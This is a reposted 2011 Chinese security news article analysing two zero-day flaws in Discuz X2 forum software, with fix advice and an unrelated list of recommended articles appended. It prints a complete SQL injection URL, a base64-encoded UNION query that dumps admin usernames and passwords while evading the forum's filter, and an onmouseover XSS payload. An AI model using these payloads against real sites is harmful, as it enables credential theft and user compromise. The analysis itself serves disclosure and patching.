首页 > 动态 > 关键词  > 补丁最新资讯  > 正文

Discuz X2安全研究报告:SQL与XSS注入漏洞分析

2011-07-04 15:48 · 稿源:站长之家Chinaz.com

近日,DiscuzX2被爆出了两个0day,一个是SQL注入漏洞,攻击者可利用该漏洞获取到用户名与密码,另一个是XSS注入漏洞,攻击者可实现网站挂马、网站钓鱼等行为,目前官方已针对此问题发布了0629版,以下内容是Nevel安全团队的IMIYOO针对disucz X2此次0day所做的漏洞分析报告。

SQL注入问题描述:

SQL是一种数据库攻击方式,攻击者利用畸形的客户端输入,如果过滤不够,程序就会执行过多的数据库命令,从而会引发数据泄漏,服务器被入侵等一系列问题;危害等级高。

分析报告:

问题的具体原因发生在source/module/forum/forum_attachment.php,代码如下图:

其中$_G[‘gp_aid’]是由用户提交的变量aid所产生,而程序是将aid经过base64_decode后再传入SQL查询,在传入给SQL查询之前也没有作任何判断;但这正好给攻击者提供base64加密绕过Discuz自身的SQL攻击检测程序,从而产生SQL注入漏洞。

构造Sql_Exploit:

mod=attachment //包含漏洞文件
findpost=imiyoo //保证$_G[‘gp_findpost’]不为空,使程序进入恶意SQL查询流程
aid=base64_encode(“1' and 1=2 union all select 1,concat(username,0x7C,password) from pre_common_member where username like 'admin|Nevel|Nevel|Nevel|Nevel”) //

构造SQL利用语句爆出用户名和密码,其中后面有4个’|’用来产生5个变量

从而完整的攻击语句如下:

https://target/forum.php?mod=attachment&findpost=imiyoo&aid=
MScgYW5kIDE9MiB1bmlvbiBhbGwgc2VsZWN0IDEsY29uY2F0KHVzZXJuYW1lLDB4N0MscGFzc3dvcmQpIGZyb20gcHJlX2NvbW1vbl9tZW1iZXIgd2hlcmUgIHVzZXJuYW1lIGxpa2UgJ2FkbWlufE5ldmVsfE5ldmVsfE5ldmVsfE5ldmVs

攻击效果如下图:

XSS问题描述:

XSS是一种客户端攻击方式,攻击者可以可以向Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而可以达到恶意攻击用户的特殊目的。利用该XSS漏洞,攻击者可以实现1 网站挂马 2 网站钓鱼 3 CSRF攻击;危害等级中。

分析报告:

具体原因发生在source/function/function_discuzcode.php中的,在discuzcode函数中,我们可以看到,程序员直接将用户输入的[emai][/email]信息利用preg_replace函数进行替换,但在该函数中存在一个问题,当用户提交的变量中含有双引号等特殊字符的时候,函数会将它们转义后再进行输出,而程序作者没有对其进行过滤,就传给了parseemail函数;

在parseemail函数,如下:

其中$text变量也是没有进行过滤,就直接输出到客户端,从而造成了XSS漏洞。

构造Xss_Exploit如下:

[email][url]”https://www.imiyoo.com onmouseover=alert(/Discuz-XSS-Exploit/); “[/url][/email]

漏洞的修补:

当我们输入上面的恶意数据,经过preg_replace函数转换后,会将双引号表示字符串的实际意义进行转义,而将其作为字符串的一部分进行输出,从而造成XSS攻击,如下图:

因此我们需要将preg_replace转换后的变量进行转化,将转义字符’\’进行过滤。

安全建议:手动安装官方最新的版本 https://www.discuz.net/thread-2168918-1-1.html

来源:Nevel安全小组 作者:IMIYOO

举报

  • 相关推荐
  • 为什么你的客户总在悄悄流失? CRM系统到底怎么堵住这些漏洞?

    文章分析了中小企业客户管理的四大痛点:客户档案混乱、销售过程不透明、服务流程低效、决策缺乏数据支持。通过引入CRM系统,企业可实现客户信息整合、销售跟进自动化、服务流程标准化和流失预警。实际案例显示,使用CRM后客户完整度提升至92%,销售跟进及时率提高3.8倍,成功唤醒沉睡客户创造19.8万业绩。文章强调CRM是提升企业竞争力的必备工具,能有效解决客户流失问题。

  • 2025NIO Day启幕,蔚来携手天猫共探全生态合作新篇章

    蔚来NIO Day 2025于9月20日在杭州举行,以“生长之光”为主题。活动发布全新高端大六座纯电SUV ES8,凝聚十年技术积累,引领纯电时代。同时宣布与阿里巴巴达成生态合作,入驻天猫汽车,共同探索以用户为核心的汽车服务新模式,推动行业从出行工具向生活方式载体转型。

  • 玩家齐赴技嘉AORUS DAY山城之约,RTX 50“嘉”速营奏响电竞狂想曲

    技嘉AORUS DAY玩家体验会在重庆千极演艺中心举办,聚焦RTX50系列显卡性能展示。英伟达与技嘉代表分享了Blackwell架构、第四代RT Core与第五代Tensor Core的技术突破,支持DLSS4多帧生成与全光线追踪,显著提升游戏画质与流畅度。现场通过《黑神话:悟空》《三角洲行动》等热门游戏演示,展现高帧率与AI渲染优势。动捕体验区结合RTX5090显卡实时生成角色动画,凸显AI算力与图形融合能力。活动还涵盖NVIDIA App功能升级与玩家互动环节,通过集章抽奖、Cosplay表演营造电竞狂欢氛围,彰显硬件性能与玩家社区的热情结合。

  • 高频科技携多元化业务亮相IC WORLD 2025,为产业发展注入“芯”活力

    2025年北京微电子国际研讨会暨IC WORLD大会于9月24日在北京亦庄开幕。高频科技携超纯水工艺及多元化业务亮相,成为全场焦点。其超纯水系统以高水质、稳定供应和高效节水为核心优势,覆盖半导体超纯水供应、运维服务、水处理专用药剂等全链条解决方案。现场通过3D沙盘、数字化平台等互动形式生动展示技术实力,吸引大量观众咨询交流。高频科技致力于推动集成电路产业协同发展,通过多元化业务布局增强产业链关键环节的高效衔接,为合作伙伴创造更大价值。

  • StarRocks Connect 2025 圆满落幕:AI Native 时代,数据分析未来已来

    StarRocks Connect 2025峰会圆满落幕,聚焦AI Native时代的数据分析未来。活动汇聚全球开发者与行业专家,分享StarRocks在复杂业务场景中的实践,探讨技术演进方向。从性能引擎到AI原生平台,StarRocks 4.0将支持多智能体协作框架,提升数据分析效率。多家企业展示应用案例,覆盖电商、金融、旅游等领域,验证了其高性能与成本优势。开源精神推动技术创新,共同探索数据智能的无限可能。

  • Reviews.ai 依托 DigitalOcean 高效实现 AI 业务扩展

    Reviews.ai是一个消费者反馈聚合平台,帮助品牌将客户评论转化为可执行的洞察。该平台专注于评论分析,通过AI驱动功能(如按需报告、主题分类和智能代理)提升产品与服务。近期从Review Monitor更名后,团队迁移至DigitalOcean云平台,解决了原有专用服务器架构的扩展瓶颈。迁移过程在合作伙伴Aquazeel支持下高效完成,仅用数周,成本降低近30%。新架构采用Droplets、托管数据库和负载均衡器,支持灵活扩展。未来计划利用GPU Droplets增强AI能力,进一步优化大型语言模型处理效率。

  • 曝苹果招募全球研究员 发现iPhone漏洞最高赏金50万美元

    苹果现已开放2026年安全研究设备计划(SRD)申请,邀请全球各地资深安全研究人员参与,为其提供解锁版iPhone,发现漏洞最高奖金可达50万美元。 据报道,SRD并非鼓励越狱,而是为获批研究人员提供特别版本的解锁iPhone,用于合法深入测试iOS系统安全。 该计划旨在让专家在受控环境中探索系统底层,帮助苹果提前发现并修复漏洞。申请已于2025年9月开放,将在10月31日截止。

  • 天网杯纳米AI视频创作赛圆满落幕,ISC.AI学苑推动“教育AI+”新范式

    9月23日,第三届“天网杯”网络安全大赛在天津落幕,吸引全国顶尖战队角逐,同期举办纳米AI视频创作赛。赛事聚焦个人信息保护、防诈 骗等网络安全议题,通过“以赛促学”模式提升学生防护意识与AI应用能力。ISC.AI学苑作为平台支持,依托“纳米AI”技术降低创作门槛,推动“安全+AI”人才培养。大赛评选出24个奖项,并联合多所高校深化合作,促进AI技术在教育场景的落

  • BOE(京东方)携手UNESCO联合主办WCBR“科学十年”分会 彰显中国科技企业可持续发展实力

    9月22日,第五届世界生物圈保护区大会在杭州开幕,这是该会议首次在中国及亚太地区举办。BOE(京东方)作为首个支持联合国“科学十年”倡议的中国科技企业,携手联合国教科文组织联合主办“科学十年”分会,展示其以技术创新赋能非洲等欠发达地区科学发展的实践成果。会议期间,BOE通过“Windows to STEM”倡议推动非洲STEM教育能力建设,并发布可持续发展品牌“ONE”,彰显其全球化布局与可持续发展理念。未来,BOE将持续携手全球伙伴践行可持续发展,为全球科学普及与绿色低碳贡献力量。

  • 下一代旗舰!Nordic54L绝鲨MAX方案ATK A9大师版重磅登场

    ATK A9大师版鼠标在经典模具基础上深度优化,搭载自研Nordic54L绝鲨MAX方案,实现极致操控与超长续航。58项模具优化提升手感,按键延迟低至0.263ms,配备PAW3950传感器,满足职业电竞需求。内置800mAh电池配合低功耗方案,续航达600小时,大幅减轻充电焦虑。该产品延续A9系列热销基因,首发起售价199元,9月25日20:00正式开售,是面向玩家的全新力作。

今日大家都在搜的词: